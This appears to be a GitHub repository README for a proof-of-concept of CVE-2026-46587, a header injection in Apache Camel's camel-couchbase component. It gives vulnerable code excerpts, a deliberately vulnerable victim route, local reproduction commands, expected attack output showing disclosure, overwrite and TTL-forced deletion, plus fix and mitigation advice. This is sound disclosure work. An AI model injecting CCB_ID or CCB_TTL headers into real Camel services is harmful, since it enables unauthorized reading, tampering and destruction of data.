oscerd/CVE-2026-46587

GitHub: oscerd/CVE-2026-46587

Apache Camel camel-couchbase 组件 CCB_* header 注入漏洞(CVE-2026-46587)的概念验证复现项目,演示信息泄露、数据篡改和 TTL 强制数据销毁三种攻击场景。

Stars: 0 | Forks: 0

# camel-couchbase `CCB_*` Header Injection 复现程序 (CVE-2026-46587) 本项目演示了 Apache Camel 的 `camel-couchbase` 组件中的一个 **message-header injection**(消息头注入)漏洞,编号为 **CVE-2026-46587**。该组件会读取多个 Exchange header 来控制其行为——`CCB_KEY` (文档键)、`CCB_ID`(文档 ID)、`CCB_TTL`(文档过期时间)、`CCB_DDN`(设计文档名称)以及 `CCB_VN`(视图名称)。这些 header 常量的字符串值(定义在 `CouchbaseConstants` 中)是纯粹的 无前缀名称,而不是其他所有组件使用的 Camel 前缀名称(例如 `CamelSqlQuery`)。Camel 的入站 `HttpHeaderFilterStrategy` 仅阻止以 `Camel` / `camel` 开头的 header 名称,因此这些名称 会原封不动地通过入站过滤器。当路由在 couchbase producer 前暴露一个 HTTP 入口点(例如 platform-http)时, 不受信任的 HTTP 客户端可以直接设置这些 header,并**覆盖路由作者配置的 文档 ID、TTL、设计文档名称或视图名称**。 此 PoC 演示了由这一个缺陷导致的三种不同影响: 1. **信息泄露** — 注入的 `CCB_ID` 读取了超出调用者权限范围的文档。 2. **篡改数据** — 在写入操作中注入的 `CCB_ID` 会覆盖受保护的文档。 3. **数据销毁** — 注入的 `CCB_TTL=1` 会迫使调用者自身的文档静默自毁。 安全公告: ## 漏洞概要 | 属性 | 值 | |----------|-------| | **组件** | `camel-couchbase` | | **受影响类** | `org.apache.camel.component.couchbase.CouchbaseProducer` 读取 `CouchbaseConstants.HEADER_ID` (`"CCB_ID"`)、`HEADER_TTL` (`"CCB_TTL"`) 等。 | | **CWE** | CWE-20: Improper Input Validation | | **影响** | HTTP 客户端设置 `CCB_*` header → 覆盖文档 ID / TTL / 设计文档 / 视图 → 信息泄露、篡改、数据丢失 | | **前置条件** | 路由在 HTTP consumer(例如 platform-http)之后暴露了 couchbase producer;如果 consumer 不需要认证,则无需认证即可利用 | | **受影响版本** | 从 4.0.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 | | **已修复版本** | 4.14.8, 4.18.3, 4.21.0 | | **修复** | PR [apache/camel#23228](https://github.com/apache/camel/pull/23228) (main 分支),通过 #23230 (4.18.x) / #23231 (4.14.x) 向后移植 | | **致谢** | Yu Bao (PayPal) | ## 技术细节 ``` // CouchbaseConstants (affected 4.18.2) — the header names are bare, un-prefixed strings: String HEADER_ID = "CCB_ID"; String HEADER_TTL = "CCB_TTL"; // CouchbaseProducer.process (affected 4.18.2) — the id and expiry come straight from those headers: String id = headers.containsKey(HEADER_ID) ? exchange.getIn().getHeader(HEADER_ID, String.class) : endpoint.getId(); int ttl = headers.containsKey(HEADER_TTL) ? Integer.parseInt(exchange.getIn().getHeader(HEADER_TTL, String.class)) : DEFAULT_TTL; // ... setDocument(collection, id, ttl, body, ...) / getDocument(collection, id, ...) / removeDocument(...) ``` 修复方案(4.14.8 / 4.18.3 / 4.21.0)将 header 的**值**重命名为符合 Camel 规范的名称 —— `CCB_ID` → `CamelCouchbaseId`、`CCB_TTL` → `CamelCouchbaseTtl`、`CCB_KEY` → `CamelCouchbaseKey`、`CCB_DDN` → `CamelCouchbaseDesignDocumentName`、`CCB_VN` → `CamelCouchbaseViewName` —— 这样它们就会被入站 `HttpHeaderFilterStrategy` 拦截,就像其他所有 Camel 控制 header 一样。Java 常量的字段名称保持不变。 ## 受害者路由 ``` from("platform-http:/save") // and /fetch .removeHeaders("Camel*") // documented hardening — see below .choice().when(header("CCB_ID").isNull()) .setHeader("CCB_ID", constant("user-draft")) // default to the caller's own document .end() .to("couchbase:couchbase://:8091?bucket=mybucket&username=..&password=..&operation=CCB_PUT"); ``` 该路由将文档 ID 默认设置为调用者自身的草稿,并且如文档所述的强化安全措施一样,在边缘节点剥离了 Camel 控制 header 命名空间。**这无济于事**:用于覆盖的 header 名为 `CCB_ID` / `CCB_TTL`, 而不是 `CamelCouchbaseId` / `CamelCouchbaseTtl`,因此它们既不会被 `removeHeaders("Camel*")` 剥离,也不会被 内置的 HTTP header 过滤器拦截 —— 从而被 producer 执行。 数据库中预置了两个文档:`user-draft`(调用者自身的文档)和 `system-config`(endpoint 绝不能暴露的 敏感文档)。 ## 仓库结构 **受害者**是 Camel 路由及其 Couchbase 数据库;**攻击者**是一个仅设置请求 header 的、未经身份验证的 HTTP 客户端。一个微小的 SDK **测试工具(harness)** 用于植入和读取文档以进行验证, 完全独立于存在漏洞的路由。 ``` CVE-2026-46587/ ├── pom.xml # camel-platform-http + camel-couchbase 4.18.2 ├── Dockerfile ├── docker-compose.yml # couchbase 7.6 (community) + one-shot provisioner + the app ├── README.md └── src/main/ ├── java/com/example/ │ ├── Application.java │ ├── CouchbaseSettings.java # host / bucket / creds / document ids │ ├── CouchbaseHarness.java # SDK harness: seeds + reads docs for verification │ ├── VictimRoute.java # platform-http:/save and /fetch -> couchbase producer │ └── ExploitController.java # attacker: HTTP requests with injected CCB_ID / CCB_TTL headers └── resources/ └── application.properties ``` ## 前置条件 - Docker 和 Docker Compose(用于运行 Couchbase Server + 应用) - Java 17+ 和 Maven 3.8+(用于构建 jar 包) ## 复现步骤 ``` mvn clean package -DskipTests docker compose up -d --build # couchbase -> provisioner -> app (first start pulls ~1.7GB) # 等待 app log 行 "Started Application",然后: curl -s http://localhost:8080/exploit/attack docker compose down -v ``` ### 预期输出 ``` initial DB state (read straight from Couchbase): user-draft = empty-draft system-config = PROTECTED-ORIGINAL-CONFIG === 1) Legitimate fetch (no CCB_ID) — the caller's own draft === empty-draft === 2) Injected fetch (CCB_ID=system-config) — reads a protected document === PROTECTED-ORIGINAL-CONFIG read-override / disclosure: true === 3) Legitimate save (no CCB_ID) — writes only the caller's own draft === system-config = PROTECTED-ORIGINAL-CONFIG (unchanged) === 4) Injected save (CCB_ID=system-config) — overwrites a protected document === system-config = ATTACKER-OVERWRITE-PAYLOAD write-override / tampering: true === 5) Injected save (CCB_TTL=1) — forces the caller's own document to self-destruct === user-draft immediately after save: important quarterly data the user just saved user-draft ~2.5s later: ttl-injection / data loss: true >>> Header-injection proof — an unauthenticated HTTP client controlled the Couchbase operation >>> via CCB_* headers: read a protected doc (true), overwrote it (true), and destroyed data with a forced TTL (true). ``` ## 攻击向量 任何包含可从 HTTP consumer 访问的 couchbase producer 的路由。可注入的 header 包括:`CCB_ID` / `CCB_KEY` (文档 ID/键 → 读取、覆盖或删除任意文档)、`CCB_TTL`(强制过期 → 数据丢失),以及在 consumer 端的 `CCB_DDN` / `CCB_VN`(设计文档和视图名称)。 ## 推荐修复方案 升级到 **4.14.8 / 4.18.3 / 4.21.0**(参见安全公告 PR #23228)。修复后,覆盖 header 带有 Camel 前缀(`CamelCouchbaseId`、`CamelCouchbaseTtl` ……),并会在 HTTP 边界像其他所有 控制 header 一样被过滤。 ## 缓解措施 在升级之前,请在不受信任的入站消息到达 producer 之前,剥离受影响的 header,例如在 couchbase endpoint 前使用 `.removeHeader("CCB_KEY")`、`.removeHeader("CCB_ID")`、`.removeHeader("CCB_TTL")`、`.removeHeader("CCB_DDN")` 以及 `.removeHeader("CCB_VN")`,或者应用一个阻止这些名称的自定义 `HeaderFilterStrategy`。 ## 免责声明 此复现程序仅用于**安全研究和授权测试**,针对的是**已公开披露并已修复** 的漏洞。未经明确许可,请勿将其用于攻击任何系统。
标签:Apache Camel, CISA项目, Couchbase, HTTP头注入, JS文件枚举, PoC, 域名枚举, 暴力破解, 漏洞复现, 版权保护, 请求拦截